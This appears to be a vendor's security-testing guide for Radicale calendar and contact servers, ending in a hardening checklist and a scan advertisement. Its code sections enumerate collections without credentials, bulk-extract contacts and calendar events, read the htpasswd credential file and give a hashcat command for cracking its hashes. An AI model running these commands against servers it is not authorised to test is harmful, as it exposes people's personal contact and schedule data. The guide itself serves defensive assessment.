CalDAV CardDAV Security Testing

Radicale Security Testing: Default Credentials, CalDAV, CardDAV, and Contact/Calendar Data

📅 July 3, 2026 ⏱ 10 min read 🏷 Radicale, CalDAV Security, CardDAV Security, Default Credentials, htpasswd, vCard Contact Data, iCalendar Events, No-Auth Configuration

Radicale is a widely deployed lightweight self-hosted CalDAV and CardDAV server — it syncs contacts, calendars, and tasks between devices without third-party cloud services. Key assessment areas: Radicale defaults to no authentication in some configurations making all contact and calendar data publicly accessible; the htpasswd credential file supports weak hash formats including plaintext and MD5; all data is stored as plaintext vCard (.vcf) and iCalendar (.ics) files on the server filesystem; and the WebDAV protocol exposes a PROPFIND method for directory enumeration. This guide covers systematic Radicale security assessment.

Authentication Configuration and No-Auth Testing
CalDAV and CardDAV Data Enumeration
Filesystem Contact and Calendar Data Extraction
Radicale Security Hardening

Authentication Configuration and No-Auth Testing

# Radicale — authentication configuration and no-auth testing
RADICALE_URL="https://cal.example.com"

# Test if Radicale is running without authentication
# A PROPFIND to root reveals collections without credentials
curl -s -X PROPFIND "${RADICALE_URL}/" \
  -H "Depth: 1" \
  -H "Content-Type: text/xml" \
  -d '' \
  -o /dev/null -w "%{http_code}" 2>/dev/null
# 207 without credentials = auth=none configured (unauthenticated access)
# 401 = auth required (htpasswd or remote-user)

# Enumerate all users and their collections
curl -s -X PROPFIND "${RADICALE_URL}/" \
  -H "Depth: 1" \
  -H "Content-Type: text/xml" \
  -d '' \
  2>/dev/null | grep -oP '[^<]+' | sed 's|<[^>]*>||g'

# htpasswd credential testing — common weak passwords
cat /etc/radicale/htpasswd 2>/dev/null | head -10
# Format: username:$apr1$SALT$HASH (MD5) or username:PLAINTEXT
# MD5 format is crackable with hashcat -m 1600

# Read Radicale config to check auth type
cat /etc/radicale/config 2>/dev/null | grep -A5 '\[auth\]'
# type = none — no authentication
# type = htpasswd — file-based auth
# htpasswd_encryption = md5 or plain — weak formats

CalDAV and CardDAV Data Enumeration

# Radicale CalDAV/CardDAV data enumeration
RADICALE_URL="https://cal.example.com"
USER="user"
PASS="password"

# Enumerate all calendars for a user
curl -s -X PROPFIND "${RADICALE_URL}/${USER}/" \
  -u "${USER}:${PASS}" \
  -H "Depth: 1" \
  -H "Content-Type: text/xml" \
  -d '' \
  2>/dev/null | python3 -c "
import sys, re
data = sys.stdin.read()
hrefs = re.findall(r'<[^:]*:href>([^<]+)', data)
names = re.findall(r'<[^:]*:displayname>([^<]+)', data)
print('Collections:')
for h in hrefs:
    print(f'  {h}')
" 2>/dev/null

# Download all vCard contacts
curl -s "${RADICALE_URL}/${USER}/contacts/" \
  -u "${USER}:${PASS}" \
  -X REPORT \
  -H "Content-Type: text/xml" \
  -d '' \
  2>/dev/null | python3 -c "
import sys, re
data = sys.stdin.read()
# Extract vCard data
vcards = re.findall(r'BEGIN:VCARD.*?END:VCARD', data, re.DOTALL)
print(f'Contacts: {len(vcards)}')
for vc in vcards[:5]:
    fn = re.search(r'FN:(.*)', vc)
    tel = re.findall(r'TEL[^:]*:(.*)', vc)
    email = re.findall(r'EMAIL[^:]*:(.*)', vc)
    print(f'  Name: {fn.group(1) if fn else \"?\"}')
    print(f'  Phone: {tel[:2]}')
    print(f'  Email: {email[:2]}')
" 2>/dev/null

# Download all calendar events
curl -s "${RADICALE_URL}/${USER}/calendar/" \
  -u "${USER}:${PASS}" \
  -X REPORT \
  -H "Content-Type: text/xml" \
  -d '' \
  2>/dev/null | python3 -c "
import sys, re
data = sys.stdin.read()
events = re.findall(r'BEGIN:VEVENT.*?END:VEVENT', data, re.DOTALL)
print(f'Calendar events: {len(events)}')
for ev in events[:5]:
    summary = re.search(r'SUMMARY:(.*)', ev)
    dtstart = re.search(r'DTSTART[^:]*:(.*)', ev)
    location = re.search(r'LOCATION:(.*)', ev)
    attendees = re.findall(r'ATTENDEE[^:]*:mailto:(.*)', ev)
    print(f'  Event: {summary.group(1) if summary else \"?\"}')
    print(f'  Start: {dtstart.group(1) if dtstart else \"?\"}')
    print(f'  Location: {location.group(1) if location else \"\"}')
    print(f'  Attendees: {attendees[:3]}')
" 2>/dev/null

Filesystem Contact and Calendar Data Extraction

# Radicale filesystem data extraction

# Radicale stores all data as plaintext files
COLLECTIONS="/var/lib/radicale/collections"
# Or: /config/radicale/ (Docker) / ~/.config/radicale/collections/

ls "${COLLECTIONS}/" 2>/dev/null
# Directories named after usernames or paths

# Read all vCard contact files
find "${COLLECTIONS}" -name "*.vcf" 2>/dev/null | while read vcf; do
  echo "=== $vcf ==="
  cat "$vcf" | grep -E "^(FN|TEL|EMAIL|ADR|ORG|BDAY):" | head -10
done

# Read all iCalendar event files
find "${COLLECTIONS}" -name "*.ics" 2>/dev/null | while read ics; do
  echo "=== $ics ==="
  cat "$ics" | grep -E "^(SUMMARY|DTSTART|DTEND|LOCATION|ATTENDEE|DESCRIPTION):" | head -10
done

# Docker Radicale configuration
docker inspect radicale 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        print(e)
    for m in c.get('Mounts',[]):
        print(f'Volume: {m.get(\"Source\")} -> {m.get(\"Destination\")}')
" 2>/dev/null

# If using htpasswd — check hash format and crack
cat /etc/radicale/htpasswd 2>/dev/null
# $apr1$ = MD5-APR (hashcat -m 1600)
# {SHA} prefix = SHA1 base64 (hashcat -m 101)
# No prefix = plaintext

# Crack MD5-APR htpasswd
# hashcat -m 1600 /etc/radicale/htpasswd /usr/share/wordlists/rockyou.txt

Radicale Security Hardening

Radicale Security Hardening Checklist:

Always configure authentication — never use auth type=none in production — Radicale's default configuration for some Docker images and installation methods may set auth type=none, which makes all calendars and contacts accessible to any network user without credentials; verify your /etc/radicale/config sets type=htpasswd (or another authentication backend) under the [auth] section; test your deployed instance by attempting a PROPFIND request without credentials — an HTTP 207 response without providing credentials means auth is disabled; even for single-user personal deployments, enable authentication since contact and calendar data is highly sensitive PII
Use bcrypt for htpasswd hashing — Radicale supports multiple htpasswd hash formats: plaintext (no hashing), MD5-APR ($apr1$), SHA1 ({SHA}), and bcrypt; MD5-APR and SHA1 are crackable with tools like hashcat in minutes for common passwords; bcrypt is significantly more resistant to offline cracking; set htpasswd_encryption = bcrypt in the [auth] section; regenerate the htpasswd file with bcrypt if currently using MD5 or SHA1; use htpasswd -B to create bcrypt entries; be aware that the htpasswd file itself is a plaintext file requiring read protection — restrict it to the Radicale user only (chmod 640)
Always deploy Radicale behind HTTPS — Radicale transmits credentials using HTTP Basic Authentication; if Radicale is deployed without HTTPS, credentials are transmitted in base64-encoded plaintext with every CalDAV/CardDAV sync operation; every calendar sync event from every device exposes the user's credentials on the network; deploy a reverse proxy (nginx, Caddy, Traefik) with a valid TLS certificate in front of Radicale; configure Radicale to listen on localhost only (hosts = localhost) and let the reverse proxy handle TLS termination; never expose Radicale directly on a network-accessible port without TLS
Understand the filesystem data model and its implications — Radicale stores all contacts and calendar events as plaintext files in the collections directory; there is no encryption at rest; a file system compromise of the Radicale host gives an attacker all contact data (phone numbers, email addresses, home addresses, birthdays, organizations) and all calendar data (meeting titles, locations, attendees, private notes) for all users; protect the collections directory with strict file system permissions; implement encrypted disk partitions for the collections volume; back up collections data securely with encryption; consider the GDPR implications of storing others' personal data (attendee contact information) in plaintext on your server
Restrict collection access between users — by default, Radicale's htpasswd authentication does not enforce per-user collection isolation; a user who can authenticate can attempt to access another user's collection path; Radicale 3.x includes a rights module with an owner_only type that restricts each user to their own collections; configure rights type=owner_only in the [rights] section; verify the setting is active by testing access to another user's collections while authenticated as a different user; for multi-user deployments, also consider whether the rights=authenticated mode (allows any authenticated user to read any collection) is appropriate for your use case

Security Test	Method	Risk
Unauthenticated PROPFIND collection enumeration	PROPFIND / with Depth: 1 and no credentials — if auth=none, complete list of all user collections; discovery of all users and their calendars/address books without authentication	Critical
vCard contact data extraction	REPORT with addressbook-query — all contacts with names, phone numbers, email addresses, home addresses, and birthdays; complete personal address book extraction without database access	High
iCalendar event extraction	REPORT with calendar-query — all calendar events with titles, times, locations, attendee email addresses, and private notes/descriptions; complete schedule and meeting history extraction	High
htpasswd MD5 hash offline cracking	Read /etc/radicale/htpasswd — MD5-APR hashes (hashcat -m 1600) are crackable with rockyou.txt in minutes for common passwords; SHA1 hashes even faster; bcrypt significantly more resistant	High
Filesystem plaintext .vcf and .ics file access	Read /var/lib/radicale/collections/ — all contact and calendar data in plaintext files; no encryption at rest; file system access gives complete data for all users	High

Automate Radicale Security Testing

Ironimo tests Radicale deployments for unauthenticated PROPFIND collection enumeration (auth=none detection), vCard contact data extraction with phone number and address harvesting, iCalendar event attendee email enumeration, htpasswd MD5/SHA1 hash format identification and cracking resistance assessment, filesystem .vcf and .ics plaintext file access, per-user collection isolation boundary testing, HTTP Basic Auth over plain HTTP credential transmission detection, rights module owner_only bypass testing, and Docker RADICALE_CONFIG authentication configuration assessment.

Start free scan

Table of Contents

Authentication Configuration and No-Auth Testing

CalDAV and CardDAV Data Enumeration

Filesystem Contact and Calendar Data Extraction

Radicale Security Hardening

Automate Radicale Security Testing